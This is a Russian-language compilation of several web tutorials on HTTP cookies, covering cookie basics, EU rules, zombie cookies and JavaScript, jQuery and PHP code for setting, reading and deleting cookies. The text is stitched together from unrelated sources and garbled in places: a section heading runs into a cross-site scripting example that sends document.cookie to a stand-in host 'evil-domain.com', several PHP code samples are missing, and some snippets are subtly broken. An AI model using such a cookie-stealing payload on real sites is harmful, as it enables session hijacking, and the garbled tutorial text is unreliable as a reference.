HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.

Cookie используются, главным образом, для:

⦁ Управления сеансом (логины, корзины для виртуальных покупок)
⦁ Персонализации (пользовательские предпочтения)
⦁ Мониторинга (отслеживания поведения пользователя)

До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB .

Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

Создание cookie

Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок Set-Cookie с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP Cookie с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту оно отсылается.

Заголовки Set-Cookie и Cookie (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..

Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

Не отслеживать (Do-Not-Track)

Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT , хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок DNT .

Директива Евросоюза о куках

Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.

Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.

Куки-зомби и "вечные" куки

Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.

Всем привет!

JS не предоставляет удобного API для работы с cookies. И это в принципе не плохо, могло бы быть и хуже (например js вообще не реализовывал бы работы с куками), но все же, лучше, когда можно читать куки с помощью одной инструкции (чего пока нативным js - невозможно).

Существует множество framework"ов и plugin"ов к ним, которые восполняют данный недостаток. Однако бывают проекты где нецелесообразно подключать framework лишь для удобства работы с куками.

Собственно мною была поставлена и реализована задача создания методов по управлению куками, с красивыми аксессорами типа:

Cookie.set("bla", "blabla");
cookie.get("bla");

code.google.com/p/jscookie - страничка на гуглокоде

Немножечко теории о механизме предоставляемом js"ом для работы с cookie:

Все что у нас есть - свойство document.cookie, оно не реализует за собой никаких привычных рядовому программисту методов, типа document.cookie.get("bla");

Чтение cookie document.cookie содержит набор значений cookie_name=cookie_value; (разделенных между собой "; " (точка с запятой плюс пробел)), отсюда следует, что бы получить значение конкретной куки - необходимо пропарсить всю строку и выдернуть необходимые данные. Что примечательно, в свойстве содержится пары имя=значение, никаких дополнительный данных о куках таких как: expires time, path, domain, secure - не содержит.Создание/обновление cookie document.cookie ведет себя как строка, но не обычная. представим что у нас есть 2 куки key1 = val1 и key2 = val2.

Alert(document.cookie) //key1=val1; key2=val2;

Для того что бы добавить новую куку key3 = val3

Document.cookie= "key3=val3; ";
alert(document.cookie) //key1=val1; key2=val2; key3=val3;

Для того что бы обновить куку, зададим key2 значение hello world

Document.cookie= "key2=hello world; ";
alert(document.cookie) //key1=val1; key2=hello world; key3=val3;

Удаление Cookie Теперь немножечко расскажу о куках как таковых, не претендую на полное и досканальное знание этой тематики, просто чуть чуть расскажу что знаю.

Кука помимо названия и значения имеет в своем арсенале еще несколько важных свойств, а именно:

Expires - время, после которого кука удаляется.
domain - домен для которого кука действительна, грубо говоря, если кука была создана на домене js.com, то ни на каком другом домене она не будет видна.
path - множество документов, при запросе на которые браузер будет посылать куку
secure - свойство-флаг разрешающий посылать браузуру куку только при https соединении

Вообщем все это записывается в виде document.cookie = "key4=val4;

Фокус с удалением куки состоит в том что бы обновить куку со свойством expires указывающим в прошлое, например:

Document.cookie= "key2=; expires=Mon, 05 Jul 1982 16:37:55 GMT; ";
alert(document.cookie)//key1=val1; key3=val3;

Собственно все

UPD: это мой первый пост, прошу сильно не пинать. Надеюсь кому то будет полезно

Иногда требуется работа с cookie через JavaScript . Например, cookie может быть альтернативным вариантом обмена данными между PHP и JavaScript . Допустим, JavaScript записывает в cookie пользователя его текущее время на компьютере (то есть его местное время), а PHP эти данные считывает и учитывает смещение относительно серверного времени. А теперь давайте разберём, как работать с cookie через JavaScript .

Единственное, что есть в JavaScript для работы с cookie - это свойство cookie объекта document :

alert(document.cookie);

В результате запуска этого кода выведутся все cookie от данного сайта, причём в определённом формате. Выглядит это примерно так: "name=123; login=456 ". На что здесь стоит обратить внимание? На то, что все cookie имеют, разумеется, имя и значение, а сами cookie разделены друг с другом точкой с запятой и пробелом.

Зная этот формат, Вы можете легко вытащить значение нужной переменной.

Чтобы добавить через JavaScript ещё одну переменную , надо написать следующий код:

document.cookie = "new=5";

Обратите внимание, что именно "= ", а не "+= ". В данном случае, Вы не стираете все существующие cookie , а добавляете новую переменную.

Что касается удаления cookie , то здесь можно использовать тот факт, что имеется возможность указать время жизни cookie . И если указать, что она должна была закончиться год назад, то cookie будет немедленно удалена.

Чтобы у Вас было полное представления о , показываю код всех 3 функций для управления cookie , а также пример их использования:

function setCookie(name, value) {
document.cookie = name + "=" + value;
}
function getCookie(name) {
var r = document.cookie.match("(^|;) ?" + name + "=([^;]*)(;|$)");
if (r) return r;
else return "";
}
function deleteCookie(name) {
var date = new Date(); // Берём текущую дату
date.setTime(date.getTime() - 1); // Возвращаемся в "прошлое"
document.cookie = name += "=; expires=" + date.toGMTString(); // Устанавливаем cookie пустое значение и срок действия до прошедшего уже времени
}
setCookie("firstname", "Вася"); // Устанавливаем cookie
alert(getCookie("firstname")); // Выводим cookie
deleteCookie("firstname"); // Удаляем cookie
alert(getCookie("firstname")); // Убеждаемся, что ничего не осталось

Вот такую простейшую библиотеку Вы можете использовать при работе с cookie через JavaScript .

Наверное, стоит начать с того, что же такое куки и для чего они нужны. Cookie – это фрагмент данных, который можно сохранить на стороне пользователя и использовать в последующем для реализации своих идей.

Представим, что на вашем сайте есть возможность выбрать цветовую схему сайта. Очень удобно это реализовать на куки, так как выбранная им тема будет видна только ему.

Cookie существуют как в PHP, так и в jQuery. Поэтому рассмотрим каждый случай более подробно.

Подробная инструкция по работе с Cookie на jQuery

1. Установка Cookie

Теперь мы можем попробовать создать наш первый куки:

$.cookie("cookie_name", "cookie_value", { expires: 3, path: "/", domain: "your_site.ru", secure: true });

Что здесь что?

«cookie_name » – имя куки;

«cookie_value » – значение куки;

«expires » – количество дней хранения куки (в нашем случае – 3 дня). По истечении этого времени произойдет автоматическое удаление куки;

«path » – доступность куки на сайте (в нашем случае «/ » - доступна на всем сайте). По желанию можно задать только определенную страницу или раздел, где будет доступен куки, например, «/audio/rock »;

«domain » – домен, на котором куки действителен. Если у вас есть поддомен, то можете указать его в этом параметре, например, «domain: "subdomain.your_site.ru" », и в таком случае куки будет доступен только на домене «subdomain.your_site.ru »;

«secure » – параметр, указывающий, что куку нужно передавать по защищенному протоколу https.

Здесь не все параметры являются обязательными и для того, чтобы задать куки, вполне хватит этой конструкции:

$.cookie("cookie_name", "cookie_value", { expires: 3, path: "/" });

2. Получение Cookie

Получить куки довольно просто, сделать это можно с помощью кода:

$.cookie("cookie_name");

Данный код можно присвоить к переменной и использовать в своих нуждах:

var content = $.cookie("cookie_name"); if(content != null) { alert("Куки существует!"); } else { alert("Куки нет!"); }

Согласитесь, это весьма удобно.

3. Удаление Cookie

Чтобы удалить значение куки, присвойте ему значение «null »:

$.cookie("cookie_name", null);

На этом, я думаю, знакомство с работой с Cookie на jQuery закончено. Этих знаний вполне хватит для реализации ваших идей.

Подробная инструкция по работе с Cookie на PHP

В отличие от предыдущего варианта работы с куки, здесь не нужно ничего подключать.

1. Установка Cookie

Для того чтобы установить в PHP куки, мы воспользуемся встроенной функцией «setcookie »:

Что здесь что?

«cookie_name » – имя куки;

«cookie_value » – значение куки;

«time()+3600 » – время жизни куки в секундах (в нашем случае – 1 час). Если задать время жизни равное «0 », то куки удалится сразу, как будет закрыт браузер;

«/ » – раздел, в котором доступен куки (в нашем случае – доступен на всем сайте). Если вы хотите ограничить раздел, в котором куки будет доступен, то «/ » замените, например, на «/audio/rock »;

«your_site.ru » – домен, на котором куки будет доступен;

«true » – параметр, указывающий что куки доступен только по защищенному протоколу https. В противном случае значение – false ;

«false » – параметр, указывающий, что куки доступен скриптовым языкам. В противном случае – true (доступно только по http).

Здесь также не все параметры являются обязательными, и для создания куки вам хватит такой конструкции:

Для удобства значение куки можно задать через переменную:

2. Получение Cookie

Для того чтобы получить куки, вам необходимо воспользоваться:

$_COOKIE["cookie_name"];

Чтобы исключить появление ошибок из-за возможного отсутствия куки, воспользуйтесь :

Как и в предыдущем примере работы с Cookie на jQuery, куки можно присвоить к переменной:

3. Удаление Cookie

Удаление куки на PHP выполняется так же просто, как и в jQuery. Все, что вам нужно сделать, это задать пустое значение куки и отрицательное время (время, которое уже прошло):

Setcookie("cookie_name", "", time() - 3600);

Время в данном примере равняется часу назад, чего вполне хватит для удаления куки.

Хочется отметить , что в некоторых случаях использование куки куда рациональнее использования базы данных для реализации необходимого функционала.

JavaScript дает возможность устанавливать и читать куки в браузере. В данном уроке мы рассмотрим как происходит работа с куками, а также сделаем простую страницу, которая будет помнить введеное имя и отображать его при каждом входе.

Что такое куки (cookie)?

Куки - это небольшой объем данных, которые хранятся вэб браузером. Они позволяют Вам сохранять определенную информацию о пользователе и получать ее каждый раз, когда он посещает Вашу страницу. Каждый пользователь имеет свой собственный уникальный набор куков.

Обычно куки используются веб сервером для выполнения таких функций как отслеживание посещений сайта, регистрации на сайте и сохранения сведений о заказах или покупках. Однако нам не нужно придумывать программу для вэб сервера чтобы использовать куки. Мы можем использовать их с помощью JavaScript.

Свойство document.cookie .

В JavaScript куки доступны с помощью свойства cookie объекта document. Создать куки можно следующим образом:

И получить весь сохраненый набор куков так:

Var x = document.cookie;

Давайте рассмотрим сохранение и получение куков более подробно.

Сохранение куки

Для сохранения куки нужно присвоить document.cookie текстовую строку, которая содержит свойства куки, которые мы хотим создать:

document.cookie = " name = значение; expires= дата; path= путь; domain= домен; secure";

Свойства описаны в таблице:

Свойство Описание Пример

name = значение	Устанавливает имя куки и его значение.	username=Вася
expires= дата	Устанавливает дату истечения срока хранения куки. Дата должна быть представлена в формате, который возвращает метод toGMTString() объекта Date . Если значение expires не задано, куки будет удалено при закрытии браузера.	expires= 13/06/2003 00:00:00
path= путь	Данная опция устанавливает путь на сайте, в рамках которого действует куки. Получить значение куки могут только документы из указанного пути. Обычно данное свойство оставляют пустым, что означает что только документ установивший куки может получит доступ к нему.	path=/demo/
domain= домен	Данная опция устанавливает домен, в рамках которого действует куки. Получить значение куки могут только сайты из указанного домена. Обычно данное свойство оставляют пустым, что означает, что только домен установивший куки может получит доступ к нему.	domain=сайт
secure	Данная опция указывает браузеру, что для пересылки куки на сервер следует использовать SSL. Очень редко используется.	secure

Давайте посмотрим пример установки куки:

document.cookie = "username=Вася; expires=15/02/2011 00:00:00";

Данный код устанавливает куки username , и присваивает ему значение "Вася" , которое будет храниться до 15-го февраля 2011 года (используется Европейский формат времени!).

var cookie_date = new Date (2003, 01, 15); document.cookie = "username=Вася; expires=" + cookie_date.toGMTString();

Данный код выполняет точно такое же действие, как и предыдущий пример, но для установки даты используется метод Date.toGMTString() . Учтите, что нумерация месяца в объекте Date начинается с 0, то есть февраль - это 01 .

Document.cookie = "logged_in=yes";

Данный код устанавливает куки logged_in , и присваивает ему значение "yes" . Так как атрибут expires не установлен, то куки удалится при закрытии браузера.

var cookie_date = new Date (); // Текущая дата и время cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();

Данный код устанавливает куки logged_in и присваивает строку хранения значение времени за одну секунду перед текущим - такая операция приведет к немедленному удалению куки. Ручной способ удалить куки!

Перекодирование значения куки!

Следует перекодировать значение куки для корректного хранения и отображения таких символов как пробел и двоеточие. Такая операция гарантирует, что браузер корректно воспримет значение. Перекодирование лекго выполняется функцией JavaScript escape() . Например:

document.cookie = "username=" + escape("Вася Пупкин") + "; expires=15/02/2003 00:00:00"; Функция для установки куки

Установка куки станет проще, если мы напишем специальную функцию, которая будет выполнять простые операции, такие как перекодирование значений и построение строки document.cookie . Например:

Function set_cookie (name, value, exp_y, exp_m, exp_d, path, domain, secure) { var cookie_string = name + "=" + escape (value); if (exp_y) { var expires = new Date (exp_y, exp_m, exp_d); cookie_string += "; expires=" + expires.toGMTString(); } if (path) cookie_string += "; path=" + escape (path); if (domain) cookie_string += "; domain=" + escape (domain); if (secure) cookie_string += "; secure"; document.cookie = cookie_string; }

Функция получает данные для куки в качестве аргументов, затем строит соответствующую строку и устанавливает куки.

Например, установка куки без срока хранения:

set_cookie ("username", "Вася Пупкин"); set_cookie ("username", "Вася Пупкин", 2011, 01, 15);

Установка куки со сроком хранения, доменом сайт , использованием SSL, но без пути:

set_cookie ("username", "Вася Пупкин", 2003, 01, 15, "", "сайт", "secure"); Функция для удаления куки.

Другая полезная функция для работы с куки представлена ниже. Функция "удаляет" куки из браузера посредством установки срока хранения на одну секунду раньше текущего значения времени.

function delete_cookie (cookie_name) { var cookie_date = new Date (); // Текущая дата и время cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString(); }

Для использования данной функции нужно только передать ей имя удаляемого куки:

Delete_cookie ("username");

Получение значения куки

Для того, чтобы получить значение предварительно установленного куки для текущего документа, нужно использовать свойство document.cookie:

Var x = document.cookie;

Таким образом возвращается строка, которая состоит из списка пар имя/значение, разделенных точкой с запятой для всех куки, которые действуют для текущего документа. Например:

"username=Вася; password=abc123"

В данном примере 2 куки, которые были предварительно установлены: username , который имеет значение "Вася" , и password , который имеет значение "abc123" .

Функция для получения значения куки

Обычно, нам нужно только значение одного куки за один раз. Поэтому строка куки не удобна для использования! Здесь приводится функция, которая обрабатывает строку document.cookies , возвращет только то куки, которое представляет интерес в конкретный момент:

Function get_cookie (cookie_name) { var results = document.cookie.match ("(^|;) ?" + cookie_name + "=([^;]*)(;|$)"); if (results) return (unescape (results)); else return null; }

Данная функция использует регулярное выражение для поиска имени куки, которое представляет интерес, а затем возвращает значение, которое обработано функцией unescape() для перекодирования к нормальному символьному виду. (Если куки не найдено, возвращается значение null.)

Данная функция проста в использовании. Например, для возврата значения куки username:

Var x = get_cookie ("username");

Простой пример использования

В данном примере мы сделали страницу, которая запрашивает Ваше имя при первом посещении, затем она сохраняет Ваше имя в куки и показывает его при следующих посещениях.

Откройте страницу в новом окне. При первом посещении она попросит ввести имя и сохранит его в куки. Если Вы посетите страницу еще раз, она отобразит на экране введенное имя из куки.

Для куки задаем срок хранения в 1 год от текущей даты, это означает, что браузер сохранит Ваше имя даже если Вы закроете его.

Вы можете посмотреть код страницы в браузере, выбрав функцию просмотра исходного кода. Здесь приводится основная часть кода:

if (! get_cookie ("username")) { var username = prompt ("Пожалуйста, введите Ваше имя", ""); if (username) { var current_date = new Date; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth (); var cookie_day = current_date.getDate (); set_cookie ("username", username, cookie_year, cookie_month, cookie_day); } } else { var username = get_cookie ("username"); document.write ("Привет, " + username + ", добро пожаловать на страницу!"); document.write ("
Forget about me!"); }

Данный урок показал Вам, как использовать куки в JavaScript для хранения информации о Ваших посетителях. Спасибо за внимание! :)